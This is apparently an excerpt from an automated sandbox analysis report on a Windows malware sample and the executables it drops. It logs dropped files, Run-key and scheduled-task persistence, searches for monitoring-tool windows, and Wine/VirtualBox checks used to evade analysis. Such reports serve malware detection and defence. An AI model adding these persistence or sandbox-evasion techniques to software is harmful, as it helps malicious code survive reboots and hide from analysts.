File created: C:\Users\user\DocumentsFCFIJEBFCG.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFCFIJEBFCG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFCFIJEBFCG.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d1e0007322.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4172e6dca8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 081eb93126.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFCFIJEBFCG.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d1e0007322.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d1e0007322.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4172e6dca8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4172e6dca8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 081eb93126.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 081eb93126.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	File opened: Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	File opened: HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HARDWARE\ACPI\DSDT\VBOX__
